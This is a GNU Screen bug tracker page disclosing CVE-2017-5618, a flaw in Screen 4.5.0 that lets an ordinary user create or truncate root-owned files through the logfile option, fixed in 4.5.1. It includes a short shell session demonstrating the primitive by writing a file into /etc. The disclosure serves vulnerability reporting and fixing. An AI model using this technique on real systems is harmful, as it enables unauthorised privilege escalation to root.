bugGNU Screen - Bugs: bug #50142, CVE-2017-5618 - root exploit 4.5.0

 
 

bug #50142: CVE-2017-5618 - root exploit 4.5.0

Submitter:  None
Submitted:  Tue 24 Jan 2017 07:05:09 PM UTC
   
 
Category:  Program Logic Severity:  3 - Normal
Priority:  * 5 - Normal Status:  Fixed
Privacy:  Public Assigned to:  anaumov
Open/Closed:  Closed Release:  4.5.0
Fixed Release:  4.5.1 Planned Release:  4.5.1
Work Required:  None
* Mandatory Fields

Add a New Comment Rich Markup
   

Mon 06 Feb 2017 09:54:43 PM UTC, comment #1: 
Alexander Naumov <anaumov>
Group administrator
Tue 24 Jan 2017 07:05:09 PM UTC, original submission:  

Commit f86a374 ("screen.c: adding permissions check for the logfile name", 2015-11-04)

The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways.

> buczek@theinternet:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> buczek@theinternet:~$ id
> uid=125(buczek) gid=125(buczek) groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> buczek@theinternet:~$ cd /etc
> buczek@theinternet:/etc (master)$ screen -D -m -L bla.bla echo fail
> buczek@theinternet:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> buczek@theinternet:/etc (master)$ cat bla.bla
> fail
> buczek@theinternet:/etc (master)$


Donald Buczek <buczek@molgen.mpg.de>

Anonymous

 

(Note: upload size limit is set to 16384 kB, after insertion of the required escape characters.)

Attach Files:
   
   
Comment:
   

No files currently attached

 

Depends on the following items: None found

Items that depend on this one: None found

 

Carbon-Copy List
  • -email is unavailable- added by anaumov (Posted a comment)
  • -email is unavailable- added by amade (Updated the item)
  •  

    There are 0 votes so far. Votes easily highlight which items people would like to see resolved in priority, independently of the priority of the item set by tracker managers.

    Only logged-in users can vote.

     

    Follow 9 latest changes.

    Date Changed by Updated Field Previous Value => Replaced by
    2017-02-06 anaumov StatusIn Progress Fixed
        Open/ClosedOpen Closed
        Fixed ReleaseNone 4.5.1
    2017-02-03 amade StatusNone In Progress
        PrivacyPrivate Public
        Assigned toNone anaumov
        ReleaseNone 4.5.0
        Planned ReleaseNone 4.5.1
        Summaryroot exploit 4.5.0 CVE-2017-5618 - root exploit 4.5.0

    Back to the top

    Powered by Savane 3.13-3230.
    Corresponding source code